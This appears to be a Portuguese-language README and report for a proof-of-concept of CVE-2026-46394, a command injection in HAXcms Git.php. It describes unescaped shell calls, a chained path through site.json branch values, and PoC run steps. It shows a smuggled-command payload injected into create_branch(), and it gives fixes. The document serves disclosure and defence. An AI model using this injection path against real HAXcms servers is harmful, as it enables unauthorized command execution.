
PoC e relatório para CVE-2026-46394: injeção de comandos do SO em HAXcms Git.php (CWE-78). Apenas pesquisa de segurança autorizada.
Git.php (CWE-78)Prova de conceito apenas para testes de segurança autorizados e pesquisa. A vulnerabilidade descrita aqui está corrigida na versão mais recente do HAXcms. Este PoC é publicado para que defensores e pesquisadores possam verificar o problema em instâncias não corrigidas que possuem ou que foram explicitamente autorizados a testar.
| CVE | CVE-2026-46394 |
| Componente | HAXcms PHP backend - system/backend/php/lib/Git.php |
| Vulnerabilidade | Injeção de Comando no SO (CWE-78) |
| Severidade | Alta - CVSS 3.1 7.2 isolado / 8.1 encadeado com path traversal |
| Status | Corrigido upstream. Afeta versões anteriores ao patch. |
| Projeto | elmsln/HAXcms |
| Relator | Shreyas Challa ([email protected]) |
A biblioteca Git.php no backend PHP do HAXcms constrói strings de comando do shell concatenando parâmetros não sanitizados e os passa diretamente para proc_open(). Das 17 funções que executam comandos do shell, apenas uma (commit()) usa escapeshellarg(). As 15 restantes interpolam a entrada do chamador diretamente na string de comando.
Qualquer valor contendo metacaracteres de shell (&, ;, |, $(), crases) que chegue a uma dessas funções resulta em execução arbitrária de comandos do SO como o usuário do servidor web.
A única função corretamente escapada é a evidência mais clara de que o escape foi compreendido e simplesmente omitido em todos os outros lugares.
Toda função vulnerável passa por run() → run_command() → proc_open():
// Git.php:408-411 - builds a raw command string
public function run($command) {
return $this->run_command(Git::get_bin() . " " . $command);
}
// Git.php:383 - executes it via the system shell
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);
Exemplo vulnerável vs. a única função segura:
// Git.php:574 - VULNERABLE (no escaping)
public function create_branch($branch) {
return $this->run("branch $branch");
}
// Git.php:496 - SAFE (proves the author knew the pattern)
public function commit($message = "") {
return $this->run("commit -av -m " . escapeshellarg($message));
}
No código-base distribuído, essas funções são invocadas com valores extraídos da configuração do servidor/site, e não diretamente de corpos de requisição, portanto a exploração é realizada encadeando-se:
saveOutline para sobrescrever o site.json de um site, injetando metacaracteres em metadata.site.git.branch. A próxima chamada gitCommit() invoca push('origin', $branch) em HAXCMSSite.php:584, executando o payload.create_branch() (Operations.php:2762) ou set_remote() (HAXCMSSite.php:625).O PoC utiliza a biblioteca Git.php real diretamente: ele cria um repositório git descartável, chama create_branch() com um payload que usa um separador de comando do shell e confirma a execução verificando se um arquivo de prova foi escrito no disco. Ele faz a limpeza após si.
git no PATHgit clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection
Aponte o PoC para o Git.php do seu clone do HAXcms (variável de ambiente ou primeiro argumento); ele também descobre automaticamente haxcms-php/ colocado ao lado dele:
# Option A - environment variable
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php
# Option B - CLI argument
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php
Funciona tanto no Unix (separador ;) quanto no Windows (separador &); o PoC seleciona automaticamente o payload correto para o SO do host.
================================================================
HAXcms Git.php - OS Command Injection (CWE-78)
================================================================
STEP 3: Inject OS command via create_branch()
Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"
STEP 4: Verify injected command executed
FILE FOUND!
Content: COMMAND_INJECTION_PROOF
COMMAND INJECTION CONFIRMED.
Aplique escapeshellarg() em todos os parâmetros em todas as 15 funções:
// BEFORE
public function create_branch($branch) {
return $this->run("branch " . $branch);
}
// AFTER
public function create_branch($branch) {
return $this->run("branch " . escapeshellarg($branch));
}
Defesa em profundidade - valide os valores antes que cheguem à camada git:
function validateBranchName($branch) {
return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}
Atualize para a versão mais recente do HAXcms, que contém a correção upstream.
Este problema foi reportado aos mantenedores do HAXcms e corrigido antes da publicação. O PoC é lançado apenas após um patch estar disponível. Use-o exclusivamente contra sistemas que você possui ou que foram explicitamente autorizados a testar.
Este material é fornecido para pesquisa defensiva, educação e testes de segurança autorizados. Executá-lo contra sistemas sem permissão explícita pode ser ilegal. Você é o único responsável por cumprir todas as leis aplicáveis e por obter autorização antes de testar. Fornecido "no estado em que se encontra" sem garantia (veja LICENSE).
| Função | Linha | Comando do shell | Escapada? |
|---|
create_branch($branch) | 574 | branch $branch | NÃO |
delete_branch($branch) | 588 | branch -d $branch | NÃO |
checkout($branch) | 663 | checkout $branch | NÃO |
merge($branch) | 677 | merge $branch --no-ff | NÃO |
push($remote, $branch) | 785 | push $remote $branch $flags | NÃO |
pull($remote, $branch) | 799 | pull $remote $branch | NÃO |
log($format) | 813 | log --pretty=format:"$format" | NÃO |
show($commit, $format) | 830 | show --pretty=format:"$format" $commit | NÃO |
list_tags($pattern) | 763 | tag -l $pattern | NÃO |
clone_to($target) | 512 | clone --local $repo $target | NÃO |
clone_from($source) | 527 | clone --local $source $repo | NÃO |
clone_remote($source) | 543 | clone $source $repo | NÃO |
set_remote($dest, $url) | 460 | remote add $dest $url | NÃO |
rm($files) | 479 | rm $files | NÃO |
add_tag($tag, $msg) | 749 | tag -a $tag -m $msg | $tag: NÃO, $msg: SIM |
commit($message) | 496 | commit -av -m $message | SIM (única segura) |